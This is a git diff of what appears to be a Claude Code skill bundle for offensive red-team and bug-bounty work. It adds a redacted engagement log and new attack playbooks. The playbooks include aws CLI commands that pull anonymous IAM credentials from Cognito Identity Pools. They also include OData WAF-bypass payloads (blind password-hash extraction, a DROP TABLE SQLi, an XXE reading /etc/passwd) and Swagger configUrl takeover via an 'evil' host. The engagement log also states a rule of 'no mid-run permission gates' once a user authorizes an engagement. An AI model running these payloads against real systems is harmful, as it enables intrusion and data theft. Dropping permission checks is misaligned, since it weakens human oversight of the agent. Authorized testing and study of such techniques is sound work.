Skip to content

A Claude Code skill bundle for bug hunting and external red-team work - 82 skills, 15 slash commands, 681 disclosed-report patterns curated across 24 core vulnerability classes, plus enterprise identity + infrastructure attack matrices.

v2: report-curation + 5 missing surfaces + chains + engagements

Sachin Sharmac42e50d7602d
diff --git a/ENGAGEMENTS.md b/ENGAGEMENTS.md
new file mode 100644
index 0000000..b80b92c
--- /dev/null
+++ b/ENGAGEMENTS.md
@@ -0,0 +1,154 @@
+# ENGAGEMENTS
+
+This file records the **authorized engagements** that drove development of the bundle's skills. It exists so that readers can calibrate the README's "battle-tested" framing against real targets, rather than against the deliberately-vulnerable public training platforms (DVWA, OWASP Juice Shop, testphp.vulnweb, Hacker101) that the bundle is also exercised against.
+
+Specifics are intentionally redacted per signed SoWs / NDAs. What remains is enough to let a future reader judge whether the bundle's content was tested against real, defended, internet-exposed enterprise infrastructure — versus only against lab targets.
+
+---
+
+## Redaction Rules
+
+**Present here:**
+- Engagement **type** (bug-bounty / WAPT / red-team / pentest)
+- **Quarter-year** only (no specific date)
+- **Continent-level region** (Europe / Asia / North America / etc.)
+- **Tech-stack class** at the level of abstraction that calibrates impact without naming a vendor + version chain that uniquely identifies a target
+- Skills **produced or extended** as a result (these skills are themselves public in this repo)
+- **Finding count by severity tier** (no per-finding specifics)
+- **Lesson narrative** describing what gap in the bundle the engagement exposed
+
+**Intentionally absent:**
+- Client / company / brand / product / employee names
+- Specific URLs, IP addresses, hostnames, internal AD domain names
+- Mobile-app package identifiers
+- Per-finding payload, request body, screenshot, CVE-pending number, advisory ID
+- Specific months within the quarter (intentional abstraction)
+- Anything an attacker could correlate against Wayback / breach corpora / OSINT to identify the target post-publication
+
+---
+
+## Engagement Index
+
+| # | Period | Type | Region | Tech-stack class | Findings (C/H/M/L) | Skills produced/extended |
+|---|---|---|---|---|---|---|
+| 01 | 2026 Q2 | WAPT (bug-bounty mode) | Europe | Internet-exposed on-prem CMS farm, EoL since 2023 | 3 / 0 / 2 / 6 | 3 new + 2 extended |
+| 02 | 2026 Q2 | External red-team | Asia | Mobile-heavy external surface + cloud identity fabric | 2 / 4 / 5 / 3 | 4 new + 1 extended |
+
+*Future engagements will be added as authorizations permit; some prior engagements are not listed because the SoW / NDA does not permit even abstracted disclosure.*
+
+---
+
+## Engagement 01 — 2026 Q2 · WAPT (bug-bounty mode)
+
+**Region:** Europe
+
+**Tech-stack class:**
+- Internet-exposed Microsoft SharePoint Server farm on a version line that reached end-of-extended-support in early 2023
+- Hosted behind a US-based public-cloud Layer-7 load balancer in an EU region, fronting on-prem IIS back-ends
+- Dual-auth configuration (custom Forms-auth UI + NTLM challenge available on every API endpoint)
+- Internal Active Directory was a child of a parent corporate AD forest
+
+**Findings:** **3 Critical** · **0 High** · **2 Medium** · **6 Low / Informational** (11 total)
+
+The three Criticals were each verified with two independent reproduction tools (`curl` + Python raw socket + Burp Repeater per the bundle's Multi-Tool Reproduction Bar). The two Mediums included the EoL-software exposure and an Active-Directory-topology disclosure via the NTLM Type-2 challenge. The six Low/Info findings covered stack-trace disclosure surfaces, permissive CSP, anonymous API metadata enumeration, and load-balanced ViewState handoff failures.
+
+**Skills produced:**
+- `hunt-sharepoint` — new (SharePoint Server attack surface)
+- `hunt-aspnet` — new (ASP.NET-specific surface: ViewState, machineKey, request validator, dual-parser anti-pattern)
+- `hunt-ntlm-info` — new (NTLM Type-2 challenge AD-topology disclosure)
+
+**Skills extended:**
+- `bb-methodology` — added PART 0 (Mode-Confirmation Gate), PART 4 (Methodology Discipline: Marker / Body-Diff / Statistical-Sample / Shell-Loop rules), Pushback Protocol, Multi-Tool Reproduction Bar
+- `triage-validation` — added Pre-Severity Gate and Retraction Discipline
+- `hunt-auth-bypass` — added Legacy-Protocol Matrix (mapping target tech to legacy login endpoints, e.g. SharePoint's `/_vti_bin/Authentication.asmx` as the WordPress XMLRPC equivalent)
+
+**Gap exposed → bundle change:** The engagement's highest-impact finding came from probing a legacy SOAP login endpoint that the branded login UI made everyone forget about — the WordPress-XMLRPC-bypass pattern applied to SharePoint. The bundle had `hunt-auth-bypass` loaded during the engagement, but the skill described only WordPress / XMLRPC. The Legacy-Protocol Matrix was added afterwards so that future engagements against any custom-branded login UI prompt an immediate probe of the platform's legacy login endpoint.
+
+A first-pass on the engagement produced five hygiene-tier findings (EoL software, permissive CSP, stack traces) framed as a red-team report. After pushback, the second pass — using bug-bounty discipline (impact-only) and walking 3 more `hunt-*` skill checklists end-to-end — produced the 11 findings above. This experience drove the Mode-Confirmation Gate (PART 0 of `bb-methodology`) and the Pushback Protocol.
+
+Four false positives also surfaced during the engagement, each retracted after verification: a marker-collision reflection bug, a status-code-only Host-header "bypass" with byte-identical body, a single-sample timing leak that collapsed under n=80 reproduction, and a server-policy blocklist mistaken for a file-existence oracle. All four became the `feedback-false-positive-discipline` content in the discipline-rule additions to `bb-methodology` PART 4.
+
+---
+
+## Engagement 02 — 2026 Q2 · External red-team
+
+**Region:** Asia
+
+**Tech-stack class:**
+- Public-internet attack surface for an enterprise organisation with a heavy mobile-app catalogue (multiple Android applications distributed via Google Play)
+- Cloud identity fabric in active use (Entra / M365 / OAuth) including OAuth flows where claim fields are scanned with substring matching
+- On-prem and cloud assets co-existing; identity provider federated with an internal AD
+- Conventional perimeter (SSL VPN, web portal, ERP-adjacent endpoints) plus the mobile attack surface
+
+**Findings:** **2 Critical** · **4 High** · **5 Medium** · **3 Low / Informational** (14 total)
+
+Findings were packaged into a client-facing red-team deliverable with embedded screenshots (per the format documented in `redteam-report-template`). Severity distribution skews toward High and Medium because the engagement was scoped as external red-team (which accepts hygiene + recon findings as deliverables), distinct from the bug-bounty mode that drove Engagement 01.
+
+**Skills produced:**
+- `apk-redteam-pipeline` — new (Android APK acquisition, jadx decompile, secret-grep, pinned-cert extraction, exported-component enum, Frida instrumentation templates)
+- `mid-engagement-ir-detection` — new (methodology for detecting client SOC patches, attacker activity, and security-state changes that occur DURING a red-team engagement)
+- `redteam-mindset` — new (operator-discipline corrections that separate offensive testing from defensive WAPT)
+- `redteam-report-template` — new (client-facing red-team deliverable format: Subject / Observations / Description / Impact / Recommendation / PoC structure with DOCX rendering pipeline)
+
+**Skills extended:**
+- `bb-methodology` — added the Pushback Protocol's worked example (the lesson that "if a user authorizes full engagement, no mid-run permission gates — discipline rules govern finding-correctness, not effort-throttling")
+
+**Gaps exposed → bundle change:**
+
+1. **Mid-engagement security-state changes** — during testing, the client's SOC detected and **patched a confirmed SQLi within ~30 minutes** of the first probe, AND a separate external attacker was observed locking accounts of legitimate users during the test session (mid-engagement IR activity). Initially this was treated as "test invalidated, retract." The corrected handling — keep the finding with timestamped pre-patch evidence + document the IR detection as itself a deliverable observation — became `mid-engagement-ir-detection`. The "don't retract confirmed findings just because they stop reproducing — assume client patched" rule is core to the skill.
+
+2. **Operator capability assumption** — the engagement's authorization gave broader scope than initial conservative defaults assumed, causing multiple findings to be missed during the first pass. Lesson: when the user says "I have credentials," default to LEAST capability (creds only — no MFA device, no endpoint compromise, no browser session) and ask before describing operator-assisted flows. Became `feedback_operator_capability_assumption` and shaped `redteam-mindset`.
+
+3. **OAuth claim-field substring traps** — Microsoft's MFA-required (AADSTS50076) and Conditional-Access-claims-challenge response bodies contain the literal text `access_token` as a substring inside the claims-challenge JSON, NOT as an actual issued token. A naive substring-match in tooling treats this as "auth bypass succeeded." Lesson: always JSON-parse, never substring-match. Became `feedback_oauth_substring_trap` in the memory layer and informs the OAuth and identity-fabric coverage in `hunt-oauth` and `m365-entra-attack`.
+
+4. **APK acquisition pipeline gaps** — multiple targeted APKs had truncated downloads via standard tooling (apkpure / apkmirror), requiring a fallback chain (Play Store extractor → apkpure → apkmirror) and manual verification. The lesson became `apk-redteam-pipeline`'s acquisition section, which now codifies the fallback ordering and the truncation-detection step that triggers a retry.
+
+5. **The 8.5/10 honest-revalidation experience** — after this engagement, an internal "is the bundle as strong as we claim" revalidation downgraded the bundle's self-assessment from 10/10 to 8.5/10. That triggered the public-critique response cycle (Workstreams A through F in this repo's commit history) that produced this file.
+
+---
+
+## Skill-to-Engagement Map (reverse index)
+
+| Skill (in `skills/`) | Authored / Extended By |
+|---|---|
+| `hunt-sharepoint` | Engagement 01 |
+| `hunt-aspnet` | Engagement 01 |
+| `hunt-ntlm-info` | Engagement 01 |
+| `bb-methodology` (PART 0, PART 4, Pushback Protocol, Multi-Tool Reproduction Bar) | Engagement 01 (+ Engagement 02 worked example) |
+| `triage-validation` (Pre-Severity Gate, Retraction Discipline) | Engagement 01 |
+| `hunt-auth-bypass` (Legacy-Protocol Matrix) | Engagement 01 |
+| `apk-redteam-pipeline` | Engagement 02 |
+| `mid-engagement-ir-detection` | Engagement 02 |
+| `redteam-mindset` | Engagement 02 |
+| `redteam-report-template` | Engagement 02 |
+
+Every other skill in `skills/` is **report-curated** (built from public disclosed bug-bounty / coordinated-disclosure / CVE corpus — see each skill's `## Disclosed Report Citations` section and frontmatter `sources:`) rather than engagement-derived. Both kinds of skill are valuable; the distinction matters because they're calibrated differently. Engagement-derived skills carry one real PoC's worth of evidence and the lessons of one live target. Report-curated skills carry the pattern depth of many real targets without first-hand reproduction.
+
+---
+
+## Calibration Notes for the README's "Battle-Tested" Claim
+
+The README states the bundle is "battle-tested across authorized red-team and bug-hunting engagements, plus public training platforms (DVWA, OWASP Juice Shop, Hacker101, testphp.vulnweb.com)."
+
+Concretely, "battle-tested" means:
+- **Two authorized engagements documented here** (more not listed for SoW reasons).
+- **One pre-publication revalidation cycle** (the 8.5/10 honest re-grade after Engagement 02) that drove substantive content additions in Workstreams A-F (report-curation backfill across 11 skills, 5 missing 2024-2026 surfaces added, 3 zero-report skills moved to ≥6 citations each, 5 chain-composition sections added to the high-volume skills, HTTP/2 single-packet deep reference added to `hunt-race-condition`).
+- **The training-platform exercises** are separately useful — primarily for new operators learning to use the bundle — but should NOT be conflated with the authorized engagements. The training platforms are deliberately-vulnerable; finding bugs in them validates the operator, not the bundle.
+
+What "battle-tested" does NOT mean (intentional honesty):
+- It does not mean every `hunt-*` skill in the bundle was used in every engagement. The engagement count is small; the bundle is broad. Most skills here have not seen a live engagement reproduction yet, and that fact is visible in each skill's `sources:` frontmatter (`engagement_*` vs `hackerone_public` / `github_security_advisories`).
+- It does not mean the engagements were comprehensive penetration tests of those clients. They were scoped engagements with specific deliverables; what they tested is reflected in the skills produced, not in the totality of what the clients' attack surfaces contain.
+
+This file is the calibration source. Readers who want to know "is the bundle's content backed by real engagement evidence" can read here and make their own determination at the abstraction level the SoWs permit.
+
+---
+
+## How to Read the Frontmatter `sources:` Field on Individual Skills
+
+Each `skills/*/SKILL.md` declares its evidence basis. The convention used in this repo:
+
+- `sources: hackerone_public, github_security_advisories, ...` — skill is **report-curated** from public disclosed corpus. Citations live in the `## Disclosed Report Citations` section of that skill.
+- `sources: authorized-engagement` — skill is **engagement-derived** from one of the engagements listed above. The lessons codified in the skill came from first-hand reproduction in a real target rather than from public reports.
+- `sources: <mixed>` — skill has both report-curated patterns AND engagement-derived sections (e.g. `cloud-iam-deep` after Workstream B added the Cognito Identity Pool chain).
+
+The honest claim for any skill in the bundle is what its `sources:` field says — not the README's headline. The README is the marketing; the skill frontmatter is the contract.
diff --git a/skills/cloud-iam-deep/SKILL.md b/skills/cloud-iam-deep/SKILL.md
index 597a937..99df06b 100644
--- a/skills/cloud-iam-deep/SKILL.md
+++ b/skills/cloud-iam-deep/SKILL.md
@@ -1,8 +1,8 @@
---
name: cloud-iam-deep
-description: Cloud IAM red-team attack chain across AWS, Azure, GCP — focused on EXTERNAL exploitation paths and post-credential-discovery privilege analysis. Covers IAM enumeration (aws iam, az role, gcloud iam), STS/AssumeRole chaining, Azure Managed Identity abuse (via SSRF/leak), GCP service account JSON abuse, IMDSv1/v2 attacks via SSRF, K8s ServiceAccount token exfil, role-trust-policy confused-deputy, cross-account assume-role enumeration, IAM privilege escalation patterns (24+ AWS, 8+ Azure, 6+ GCP). Built for the case where recon yields a credential (key, JSON, token) and you need to know what it grants and how to escalate. Use when an AWS key / Azure secret / GCP service account JSON / K8s SA token surfaces from a code repo, JS bundle, APK, breach corpus, or SSRF chain.
-sources: aws-iam-docs, azure-rbac-docs, gcp-iam-docs, hackingthe.cloud, pacu, peirates, prowler
-report_count: 0
+description: Cloud IAM red-team attack chain across AWS, Azure, GCP — focused on EXTERNAL exploitation paths and post-credential-discovery privilege analysis. Covers IAM enumeration (aws iam, az role, gcloud iam), STS/AssumeRole chaining, Azure Managed Identity abuse (via SSRF/leak), GCP service account JSON abuse, IMDSv1/v2 attacks via SSRF, K8s ServiceAccount token exfil, role-trust-policy confused-deputy, cross-account assume-role enumeration, IAM privilege escalation patterns (24+ AWS, 8+ Azure, 6+ GCP), and AWS Cognito Identity Pool unauthenticated-role attack chain (GetId → GetCredentialsForIdentity → IAM role abuse). Built for the case where recon yields a credential (key, JSON, token) and you need to know what it grants and how to escalate. Use when an AWS key / Azure secret / GCP service account JSON / K8s SA token surfaces from a code repo, JS bundle, APK, breach corpus, or SSRF chain.
+sources: aws-iam-docs, azure-rbac-docs, gcp-iam-docs, hackingthe.cloud, pacu, peirates, prowler, rhinosecuritylabs_research, hackerone_public
+report_count: 6
---
## When to use
@@ -403,6 +403,114 @@ Cloud activity is trivially auditable; the client WILL find it post-engagement.
---
+## AWS Cognito Identity Pool — Unauthenticated-Role Attack Chain (2024-2026 surface)
+
+AWS Cognito has two distinct services often confused: **User Pools** (auth provider) and **Identity Pools** (federated identity → IAM credentials). Identity Pools can be configured with *"Enable access to unauthenticated identities"* — which gives ANY anonymous caller an IAM role via `cognito-identity:GetId` → `cognito-identity:GetCredentialsForIdentity`. Mobile apps and SPAs ship the IdentityPoolId in the page bundle. Developers commonly attach overly-broad IAM permissions to the unauth role, especially when the pool was set up for AWS Amplify / Pinpoint / CloudWatch RUM and the role policy was never narrowed.
+
+### Step 1 — Discover the IdentityPoolId
+
+The IdentityPoolId is a **public identifier** by AWS design (`<region>:<UUID>` format). The find:
+
+```bash
+# JS bundle / SPA regex (against *.js, *.html, source-map files)
+grep -ErohE "identityPoolId[\"'`\s:=]+[\"']([a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36})[\"']" .
+grep -ErohE "IdentityPoolId[\"'`\s:=]+[\"']([a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36})[\"']" .
+grep -ErohE "\"PoolId\"\s*:\s*\"([a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36})\"" .
+
+# Mobile APK (after jadx decompile)
+grep -rEi "identity[_-]?pool[_-]?id" decoded/
+grep -rE "\"[a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36}\"" decoded/
+
+# Also check
+amplifyconfiguration.json
+awsconfiguration.json
+aws-exports.js
+.env.js
+*.js.map
+```
+
+Wayback CDX captures, GitHub code-search for the apex domain + `IdentityPoolId`, and JS chunks linked from `index.html` are the high-yield search corpora.
+
+### Step 2 — `GetId` (unauth)
+
+```bash
+aws cognito-identity get-id \
+ --identity-pool-id us-east-1:abcd1234-5678-90ab-cdef-1234567890ab \
+ --region us-east-1 \
+ --no-sign-request
+```
+
+`--no-sign-request` is critical — tells the CLI not to look for ambient AWS credentials. Returns `{"IdentityId": "us-east-1:<uuid>"}`. If this returns `NotAuthorizedException`, unauth identities are disabled — stop, not exploitable.
+
+### Step 3 — `GetCredentialsForIdentity`
+
+```bash
+aws cognito-identity get-credentials-for-identity \
+ --identity-id us-east-1:<returned-uuid> \
+ --region us-east-1 \
+ --no-sign-request
+```
+
+Returns real STS credentials with ~1 hour TTL: `AccessKeyId` (ASIA…), `SecretKey`, `SessionToken`, `Expiration`.
+
+### Step 4 — Confirm role ARN
+
+```bash
+export AWS_ACCESS_KEY_ID=ASIA...
+export AWS_SECRET_ACCESS_KEY=...
+export AWS_SESSION_TOKEN=...
+aws sts get-caller-identity
+```
+
+Returns role ARN like `arn:aws:sts::<account>:assumed-role/Cognito_<PoolName>Unauth_Role/CognitoIdentityCredentials`. Account ID is now disclosed.
+
+### Step 5 — Enumerate role permissions
+
+Direct (rare):
+```bash
+aws iam get-role --role-name Cognito_<PoolName>Unauth_Role
+aws iam list-role-policies --role-name Cognito_<PoolName>Unauth_Role
+aws iam list-attached-role-policies --role-name Cognito_<PoolName>Unauth_Role
+```
+
+Blackbox (the normal case) — fire a permission probe across high-value services and observe `AccessDenied` vs success. Pacu's `iam__enum_permissions --role-name <name>` brute-forces ~500 IAM actions; `enumerate-iam.py` by Andrés Riancho covers ~1000. Common over-permissions: `s3:Get*`/`s3:List*`, `dynamodb:Scan`, `lambda:InvokeFunction`, `appsync:GraphQL`, `cognito-idp:AdminCreateUser`, `iam:PassRole`, `kms:Decrypt`.
+
+### Severity rubric
+
+| Finding | Severity | Justification |
+|---|---|---|
+| Unauth role with `*:*` or `AdministratorAccess` | **Critical** (9.8+) | Full AWS account takeover |
+| Unauth role with `s3:Get*` / `s3:List*` on production customer buckets, or `dynamodb:Scan` on user tables | **Critical** (9.1-9.8) | Mass PII / data breach |
+| Unauth role with `appsync:GraphQL` on production API, or `lambda:InvokeFunction` on internal lambdas | **Critical** (9.0) | Authenticated backend access |
+| Unauth role with `cognito-idp:Admin*` on the linked User Pool | **Critical** (9.1) | Mass ATO primitive |
+| Unauth role with `iam:PassRole` + create-function | **Critical** (9.8) | Documented priv-esc to admin |
+| Unauth role with `s3:PutObject` on web-hosting bucket | **High** (8.1) | Stored XSS / supply-chain |
+| Unauth role with `kms:Decrypt` on a customer CMK | **High** (7.5-8.5) | Depends on ciphertext reachability |
+| Unauth role with read-only on a single hardcoded non-sensitive resource | **Medium** (5.3) | Limited business impact |
+| Unauth identities enabled but role policy denies everything | **Informational** | Best-practice deviation only |
+
+### Disclosed cases / authoritative writeups
+
+1. **Andres Riancho — "Misconfigured Cognito Identity Pools" (2020, refreshed 2023)** — original research establishing the attack class. `GetCredentialsForIdentity` against unauth pools with default `*` policies. [andresriancho.com](https://andresriancho.com/identity-pools-and-the-default-iam-role-trap/)
+2. **Rhino Security Labs — Pacu `cognito__enum_identity_pools` module** — production tooling that automates Steps 1-5 of the chain. [github.com/RhinoSecurityLabs/pacu](https://github.com/RhinoSecurityLabs/pacu/tree/master/pacu/modules/cognito__enum_identity_pools)
+3. **NotSoSecure / Claranet — "Exploiting weak configurations in Amazon Cognito" (Nov 2023)** — walkthrough of identityPoolId extraction → assume guest role → S3/DynamoDB/Lambda enumeration. Calls out RUM, Amplify, Pinpoint as the three SDKs that commonly expose the pool ID in HTML. [notsosecure.com](https://www.notsosecure.com/exploiting-weak-configurations-in-amazon-cognito/)
+4. **HackTricks Cloud — `aws-cognito-unauthenticated-enum`** — canonical playbook covering Steps 1-5. [cloud.hacktricks.wiki](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.html)
+5. **Spaceraccoon / Eugene Lim — "Mass Account Takeover via Cognito IdentityPool" (Medium, 2020)** — SaaS provider exposed IdentityPoolId in Amplify config; unauth role had `cognito-idp:AdminConfirmSignUp` + `AdminUpdateUserAttributes` on the linked User Pool — silent confirmation of any signup + email change = mass ATO.
+6. **Datadog Security Labs — "Following AWS Logs Backwards: Cognito Identity Pool Abuse" (2024)** — telemetry across Datadog customer base showing real-world Cognito pool abuse. Non-trivial percentage of pools paired with policies broader than the minimum required. [securitylabs.datadoghq.com](https://securitylabs.datadoghq.com/articles/abusing-aws-cognito-misconfigurations/)
+
+### Reporting tip
+
+Always include in the report:
+- `sts get-caller-identity` output (proves the role ARN + account ID)
+- Pacu `iam__enum_permissions` JSON output (proves the granted actions)
+- A concrete data-pull PoC (one sample S3 object listing, one DynamoDB record with PII redacted)
+
+Without all three, triagers downgrade to Medium. The 60-second test is `GetId → GetCredentialsForIdentity → sts get-caller-identity`. If you reach step 3 anonymously, you have a finding.
+
+Cross-reference: `hunt-cloud-misconfig` → `CloudWatch RUM weaponization` covers the specific RUM-embedded variant of this attack class.
+
+---
+
## Related Skills & Chains
- **`hunt-ssrf`** — Most external paths to a cloud credential begin with SSRF reaching the metadata service. Chain primitive: SSRF + IMDSv1 → instance role token → `cloud-iam-deep` privilege-escalation patterns reach prod S3 / Secrets Manager.
diff --git a/skills/hunt-api-misconfig/SKILL.md b/skills/hunt-api-misconfig/SKILL.md
index 4c24479..2217115 100644
--- a/skills/hunt-api-misconfig/SKILL.md
+++ b/skills/hunt-api-misconfig/SKILL.md
@@ -43,6 +43,134 @@ curl -s -I -H "Origin: https://evil.com" https://target.com/api/user/me
---
+## OData $filter / $select / $expand WAF-Blacklist Bypass (2024-2026 surface)
+
+OData (Open Data Protocol) is the query layer behind **SharePoint, Microsoft Dynamics 365 / Power Platform, SAP NetWeaver Gateway / Fiori,** and any ASP.NET WebAPI project using `Microsoft.AspNetCore.OData`. It exposes SQL-shaped query operators (`eq`, `ne`, `and`, `or`, `substringof`, `startswith`, `tolower`, `concat`, `replace`) that look SQL-ish but are NOT SQL — meaning keyword-blacklist WAFs routinely fail open on OData traffic.
+
+### Attack class 1 — Boolean-logic blind extraction via `startswith` / `substringof`
+
+```
+GET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'a')
+GET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'aa')
+```
+
+Iterate prefix character-by-character; cardinality of the response (or `@odata.count`) is the boolean oracle that confirms the prefix is correct. No SQLi engine needed, no `'`/`--` characters — the WAF sees only legitimate OData keywords. Extracted Microsoft Dynamics 365 / Power Apps Portals **password hashes, names, emails, addresses, financial data** in Dec 2023; Microsoft patched May 2024. ([Stratus Security writeup](https://www.stratussecurity.com/post/critical-microsoft-365-vulnerability), [The Hacker News coverage Jan 2025](https://thehackernews.com/2025/01/severe-security-flaws-patched-in.html))
+
+### Attack class 2 — `$orderby` / `$select` column-disclosure bypass
+
+```
+GET /api/data/v9.0/contacts?$orderby=emailaddress1 desc&$select=fullname
+```
+
+`$orderby` accepts column names the user has no `$select` permission for, but the engine still sorts on them — the returned order leaks the protected column. Column-level ACLs are enforced on the projection (`$select`) but NOT on `$orderby` / `$filter` — same protected column, different code path. Second Stratus finding in the same Dynamics 365 disclosure; "more dangerous than the first because it directly returned the data" per Stratus.
+
+### Attack class 3 — `$batch` multipart/mixed → per-request WAF signatures miss sub-operations
+
+```
+POST /odata/$batch Content-Type: multipart/mixed; boundary=batch_1
+--batch_1
+Content-Type: application/http
+GET Users?$filter=1 eq 1 HTTP/1.1
+--batch_1--
+```
+
+WAFs that scan only the outer request body (or that don't natively parse `multipart/mixed`) skip every inner operation. ModSecurity refused `multipart/mixed` historically ([Issue #3296](https://github.com/owasp-modsecurity/ModSecurity/issues/3296)); F5 added native batch parsing only in Advanced WAF v16.1 ([F5 SAP-Fiori advisory](https://www.f5.com/company/blog/securing-sap-fiori-http-batched-requests-odata-with-f5-advance)). The 2025 WAFFLED paper ([arXiv 2503.10846](https://arxiv.org/html/2503.10846v1)) generalises the parsing-discrepancy bypass class across 5 major WAFs.
+
+### Attack class 4 — Encoded / non-canonical operator → keyword-blacklist bypass
+
+```
+GET /api?%24filter=Name%20eq%20'x'%20or%201%20eq%201 # URL-encoded $
+GET /api?%2524filter=... # double-encoded
+GET /Users(1)/$value # path-segment style
+```
+
+Mixed-case operators (`Eq`, `EQ`) and obscure ones (`substringof`, `tolower`, `concat`, `replace`) look unlike `SELECT`/`UNION` so SQLi-keyword signatures never fire. WAFs that key on the literal string `$filter` see neither form — but the OData server normalises both before evaluating the predicate. Documented since Kalra Black Hat AD 2012; canonical OData-vs-WAF impedance mismatch. ([OWASP Double Encoding](https://owasp.org/www-community/Double_Encoding))
+
+### Attack class 5 — OData → real SQLi when library passes filter raw
+
+```
+$filter=Name eq 'x'); DROP TABLE Users--'
+```
+
+Only triggers when the OData layer string-concatenates into SQL instead of using LINQ. Documented in [OData/WebApi Issue #2352](https://github.com/OData/WebApi/issues/2352). The XML-deserialisation variant: **CVE-2019-17554** (Apache Olingo OData 4.0.0-4.6.0, XXE via `<!DOCTYPE foo [<!ENTITY x SYSTEM "file:///etc/passwd">]>` in `application/xml` body, CVSS 7.5). DoS variant: **CVE-2018-8269** (Microsoft.Data.OData deep `$filter` recursion → stack overflow).
+
+### Bonus — `$expand` navigation-property IDOR
+
+```
+GET /Orders?$expand=Customer($expand=PaymentMethods($expand=Card))
+```
+
+Authorisation decorators applied to top-level entity sets; the engine joins along navigation properties without re-checking ACL on the joined entity. Same root cause as the 2021 PowerApps Portals 38M-record mass leak ([UpGuard writeup](https://www.upguard.com/breaches/power-apps)).
+
+### Detection heuristics
+
+- Response headers: `OData-Version: 4.0` / `DataServiceVersion: 3.0`; URL paths `/_api/`, `/odata/`, `/_vti_bin/`, `/api/data/v9.x/`, `/sap/opu/odata/`.
+- Try `$metadata` → if anonymous, the full schema (entity sets, navigation properties, function imports) is yours.
+- Probe each entity set with `$filter=1 eq 1`, `$top=1`, `$select=*`, then `$orderby=<column-you-shouldnt-see>` for column-level ACL.
+- Send the same payload three ways (`$filter=`, `%24filter=`, `%2524filter=`) and through `$batch` — divergent WAF behaviour confirms the parser-discrepancy bug.
+
+---
+
+## NSwag / Swagger / OpenAPI Spec Exposure (2024-2026 surface)
+
+NSwag is the Swagger/OpenAPI toolchain for ASP.NET Core. Default routes (`/swagger`, `/swagger/v1/swagger.json`, `/swagger/index.html`) ship enabled in many .NET 6/7/8 projects and developers leave them on in production. The exposed spec discloses every endpoint, HTTP methods, parameter names + types + formats + max-lengths, models, validation rules — a complete attack-map in JSON.
+
+### Default discovery paths (cross-references `web2-recon`)
+
+```
+# NSwag / Swashbuckle (ASP.NET Core)
+/swagger, /swagger/index.html, /swagger/v1/swagger.json, /swagger/v2/swagger.json, /swagger/v3/swagger.json
+/swagger-ui, /swagger-ui/, /swagger-ui.html, /api-docs
+/nswag, /nswag/index.html, /api/swagger, /api/swagger.json, /api/openapi.json
+
+# Generic OpenAPI
+/openapi, /openapi.json, /openapi.yaml, /.well-known/openapi.json
+
+# Java / Spring (Springfox / springdoc)
+/v2/api-docs, /v3/api-docs, /v3/api-docs.yaml, /swagger-resources
+
+# Python (FastAPI / Connexion)
+/docs, /redoc, /openapi.json
+
+# Quarkus
+/q/openapi, /q/swagger-ui
+
+# GraphQL adjacent
+/graphql, /graphiql, /playground, /altair, /voyager
+```
+
+Tools: `kiterunner` natively eats OpenAPI; `sj` (Swagger Jacker), `apidetector`, `XSSwagger`.
+
+### Attack chains
+
+**A. Spec disclosure → mass IDOR / BOLA.** Spec lists every `GET /api/v1/users/{userId}/...`. `jq '.paths | keys' swagger.json` → swap `{userId}` for victim's ID via Autorize/`ffuf -mc 200`. Common case: spec leaks `/api/admin/users/{id}/reset-password` documented but missing `[Authorize(Roles="Admin")]` on the controller — low-priv ATO.
+
+**B. Spec disclosure → mass-assignment payload construction.** `components.schemas.UserUpdateDto` enumerates every model field including `isAdmin`, `emailVerified`, `tenantId`, `role`. Attacker copies the schema verbatim into `PATCH /users/me` and adds the privileged fields. Server's `[FromBody]` binder accepts them when DTOs aren't split into read-vs-write models.
+
+**C. Hidden endpoints.** Specs document `/internal/*`, `/debug/*`, `/v0/*`, `/legacy/*` routes that no front-end UI references. Reachable but uncovered by WAF rules and often skipped during auth reviews.
+
+**D. Swagger UI configUrl takeover.** Swagger UI loads its config from `?configUrl=`. If unsanitised, attacker hosts an evil OpenAPI spec, sends victim a link to the *legitimate* Swagger UI with `?configUrl=https://evil/spec.json`. Spec routes point back at the legitimate origin so the victim's "Try It Out" clicks fire same-origin authenticated requests. ([HackerOne #3124103 — U.S. DoD Swagger UI Injection, May 2025](https://hackerone.com/reports/3124103))
+
+### Disclosed cases
+
+- **CVE-2018-25031** — Swagger UI ≤ 4.1.2 spec-injection via URL parameter; affects org.webjars:swagger-ui broadly (embedded in Swashbuckle and NSwag bundles).
+- **Swagger UI DOM XSS (3.14.1 → 3.38.0)** — outdated bundled DOMPurify + remote-spec-load → arbitrary JS in victim browser ([Vidoc Security Lab writeup](https://blog.vidocsecurity.com/blog/hacking-swagger-ui-from-xss-to-account-takeovers), [PortSwigger Daily Swig](https://portswigger.net/daily-swig/widespread-swagger-ui-library-vulnerability-leads-to-dom-xss-attacks)). Reported live on PayPal, Atlassian, Microsoft, GitLab, Yahoo.
+- **HackerOne #3124103** — U.S. Department of Defense, Swagger UI Injection (May 2025).
+- **HackerOne #2534300** — Ionity GmbH, HTML injection in Swagger UI.
+- **HackerOne #1656650** — Reflected XSS via Swagger UI `url=` parameter.
+- **CloudSEK threat-intel (2024)** — actors abuse exposed `swagger-ui` to invoke a verified-business WhatsApp send-message endpoint, impersonating the company to its customers. 6,000+ exposed Swagger UI instances on Shodan at time of writing. ([CloudSEK report](https://www.cloudsek.com/threatintelligence/threat-actors-use-exposed-swagger-ui-to-misuse-a-companys-endpoints-and-target-customers))
+- **CVE-2023-38337** — `rswag` (Ruby Swagger toolchain) directory traversal — reminder that the spec endpoint is itself an attack surface.
+
+### Detection checklist
+
+1. httpx-probe every path above across the full subdomain set; flag 200 with `Content-Type: application/json` AND body matching `"swagger"` or `"openapi"`.
+2. For every hit: `jq '.paths | keys' swagger.json` → feed to kiterunner / Autorize.
+3. `jq '.components.schemas' swagger.json` → mass-assignment field candidates.
+4. Banner the Swagger UI HTML for version string; map to the CVE-2018-25031 / DOM-XSS table.
+5. Test `?configUrl=` and `?url=` parameter handling on every Swagger UI hit.
+
+---
+
## Related Skills & Chains
- **`hunt-ato`** — Mass assignment on signup/profile is the fastest path to admin. Chain primitive: API mass assignment + `hunt-ato` → `role=admin` set on signup → ATO via privileged role on first login.
